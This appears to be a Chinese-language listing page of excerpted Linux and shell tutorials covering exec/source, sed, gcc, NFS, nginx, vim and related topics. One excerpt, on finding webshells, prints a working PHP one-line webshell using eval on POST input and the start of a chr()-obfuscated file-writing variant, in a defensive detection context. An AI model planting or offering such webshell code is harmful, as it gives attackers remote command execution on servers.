Shell中的exec和source解析

Shell中的exec和source解析 exec和source都屬於bash內部命令,在講這兩個命令之前,前談一下fork的概念:fork是linux的系統調用,用來建立子進程(child process)。子進程是父進程(parent process)的一個副本,從父進程那裡獲得一定的資源分派以及繼承父進程的環境。子進程與父進程唯一不同的地方在於pid(process id)。環境變數只能單向從父進程傳給子進程,不管子進程的環境變數如何變化,都不會影響父進程的環境變數。 

Linux添加共用資料夾,windows和Linux間複製粘貼

1. Windows下安裝虛擬機器VM後,window下的檔案不能複製到VM中,可以添加共用文件夾解決,並安裝VMware Tools.   www.2cto.com  點擊VMware菜單的——虛擬機器——安裝VMware Tools,在彈出的對話方塊中選擇“安裝”。這時,在Ubuntu下會自動載入Linux版的VMware

關於fedora14安裝失敗的經驗共用

關於fedora14安裝失敗的經驗共用 最近在學《UNIX網路編程 第2卷 處理序間通訊》這本書,筆者也下了作者在www.kohaha.com中的代碼來調試哈,增加哈經驗!筆者先裝的是vmare7.0+redhat9.0的linux環境,但是當學到posix queue章節的時候,才發現我的redhat不支援posix queue!網上查了一大堆的關於redhat9.0 posix queue的實現方法,有的說kernel2.4對posix queue支援很不好!建議換到kernel2

linux添加系統路徑

linux添加系統路徑 到現在為止,切換到linux下有小半年兒了,離熟練運用還有一大段距離;成長緩慢的原因不是沒遇到足夠多的問題,而是遇到了問題卻沒能及時的記錄,及時的複習,當然也沒能夠深入的舉一反三的思考。經常覺得問題很簡單,不值得記錄;事實上linux也不是很複雜,高深之處就在於他的旁雜靈活,跟英語一樣知識點頗多;而一旦掌握了非常多的小知識點後,駕輕就熟也就水到渠成了。  www.2cto.com

Ubuntu下編譯Libjingle

Ubuntu下編譯Libjingle $ gclient config http://libjingle.googlecode.com/svn/trunk    產生.gclient檔案  www.2cto.com  $ gclient sync                擷取原始碼 $ gclient runhooks  

Linux/Unix tr、變數、運算以及終端特性的設定等

Linux/Unix tr、變數、運算以及終端特性的設定等 使用tr的-s選項去除重複出現的字元:  www.2cto.com  [oracle@localhost tr.folder]$ cat oops.txt And the cowwwwwws went homeeeeeOr did theyyyyyyyyyyyyy[oracle@localhost tr.folder]$ tr -s "[a-z]" < oops.txt&

linux中的兩個time

linux中的兩個time   今天發現linux中還有兩個time指令,小結下:   www.2cto.com  在linux中存在兩個time,一個是bash的命令,另外一個是程式/usr/bin/time,bash的time命令只能很簡單的顯示程式執行的時間,而/usr/bin/time程式可以顯示很詳細的與IO相關的資料,比如從記憶體中讀取了多少資料,從磁碟中讀取了多少資料之類的,以及檔案系統的頁大小。  

nginx小總結(六)

nginx小總結(六) nginx小總結(五)http://www.bkjia.com/os/201303/193042.html nginx串連php,我們使用php-fpm,上面安裝好了php,下面看下  www.2cto.com  [root@host2 sbin]# lsphp-fpm[root@host2 sbin]# pwd/usr/local/php/sbinphp-fpm的安裝位置 [root@host2 php-5.3.6]#

shell運算元組

shell運算元組 Shell代碼  ./test.sh "100,200 300,400 500,600" hhhh     www.2cto.com         說明:參數分隔字元預設是空格,所以數組參數用雙引號擴上, Shell代碼  dd=`date +%Y%m%d_%H%M%S`  echo "start datetime

RHEL6搭建nfs

RHEL6搭建nfs 環境:RHEL6.2企業版本VMware8.0  www.2cto.com  伺服器端配置步驟:(1) 如果你的電腦沒有安裝nfs,那麼,你就需要用rpm包安裝,一般是三個包。(2) (因為我的linux沒有圖形化配置,因此,我只能通過文本方式編輯配置)首先,編輯指令碼:  www.2cto.com  需要編輯的就是畫線的地方,這句話意思就是我想把/home/share共用出來,可訪問的IP是192.168.241這一個段,

vim中執行shell命令小結

vim中執行shell命令小結 vim中執行shell命令,有以下幾種形式  www.2cto.com  1):!command 不退出vim,並執行shell命令command,將命令輸出顯示在vim的命令地區,不會改變當前編輯的檔案的內容 例如 :!ls -l 特別的可以運行:!bash來啟動一個bash shell並執行命令,不需要退出vim 2):r

Linux儲存實驗一:在硬碟上建立檔案系統

Linux儲存實驗一:在硬碟上建立檔案系統整個實驗共包括七個實驗,分別為:  www.2cto.com

Linux gcc和gdb程式調試用法

Linux gcc和gdb程式調試用法 gcc一般調試格式:  www.2cto.com  gcc -Wall -o  test   test.c // -wall  顯示程式錯誤詳細資料     gcc -v  // 顯示gcc的版本gcc -o{1,2,3} test  test.c // 1,2,3三個層級的最佳化,最佳化層級越高編譯的時間越長gcc -ggdb3 -Wall

如何在Ubuntu中使用遠端桌面

如何在Ubuntu中使用遠端桌面 有時候,由於工作的需要,我們在家裡可能會或者其他地方訪問我們的電腦,遠端存取能夠方便使用者工作,對於Windows、Mac等使用者來說,遠端存取再也不是什麼穩定,但對於一些Linux客戶來說,遠端存取就成了他們的難題,本問將介紹在Ubuntu案頭啟用遠端桌面連線的最簡單方法!   www.2cto.com

linux尋找webshell

linux尋找webshell 首先認識一下小馬,一般大馬容易暴露,駭客都會留一手,把小馬加入正常PHP檔案裡面 <?php eval ($_POST[a]);?> //密碼為a,使用中國菜刀串連 隱藏很深的小馬 fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(112).chr(104).chr(112).

Sed &amp; Awk每日一例之三

Sed & Awk每日一例之三 1、僅刪除第2行 $ sed '2 d' employee.txt 2、刪除第1~4行 $ sed '1,4 d' employee.txt 3、刪除第2~最後一行 $ sed '2,$ d' employee.txt 4、從第一行開始隔行刪除一行 $ sed '1~2 d' employee.txt5、刪除

初學LINUX之我見————shell指令碼注意文法

初學LINUX之我見————shell指令碼注意文法 shell scripts就是利用shell的功能(文法及命令),結合Regex、管道命令和資料流重新導向等功能所編寫的一個程式,是一個純文字檔案,不需要經過編譯就能夠執行的。 1.linux系統的服務啟動介面都是在/etc/init.d/目錄下。 2.read:鍵盤讀取的命令。相當與C語言scanf和C++語言cin。格式:   read

$()和${}和$(())和(())

$()和${}和$(())和(()) $()和${}的用法:在 bash shell 中,$( ) 與 ` ` (反引號) 都是用來做命令替換用(command substitution)的。而 $( ) 並不見的每一種 shell 都能使用,若你用 bash2 的話,肯定沒問題... 看 ${ } 吧... 它其實就是用來作變數替換用的啦。一般情況下,$var 與 ${var} 並沒有啥不一樣。但是用 ${ }

《Linux命令列與shell指令碼編程大全》建立函數

《Linux命令列與shell指令碼編程大全》建立函數 基本的指令碼函數建立函數1.用function關鍵字,後面跟函數名[plain] function name {      commands  }  2.函數名後面跟空圓括弧,標明正在定義一個函數[plain] name() {     commands  }  如果兩個函數的名稱相同,那麼後面的將會覆蓋前面的,

bumblebee on ubuntu13.04 沒檢測到圖形裝置的解決方案[雙顯卡同樣]

bumblebee on ubuntu13.04 沒檢測到圖形裝置的解決方案[雙顯卡同樣] 情況:[ERROR]Cannot access secondary GPU - error: [XORG] (EE) No devices detected.[ERROR]Aborting because fallback start is disabled.nvidia驅動的情況下:root@crper-Aspire-5755G:~# lspci | grep VGA  00:02.

總頁數: 3662 1 .... 3109 3110 3111 3112 3113 .... 3662 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.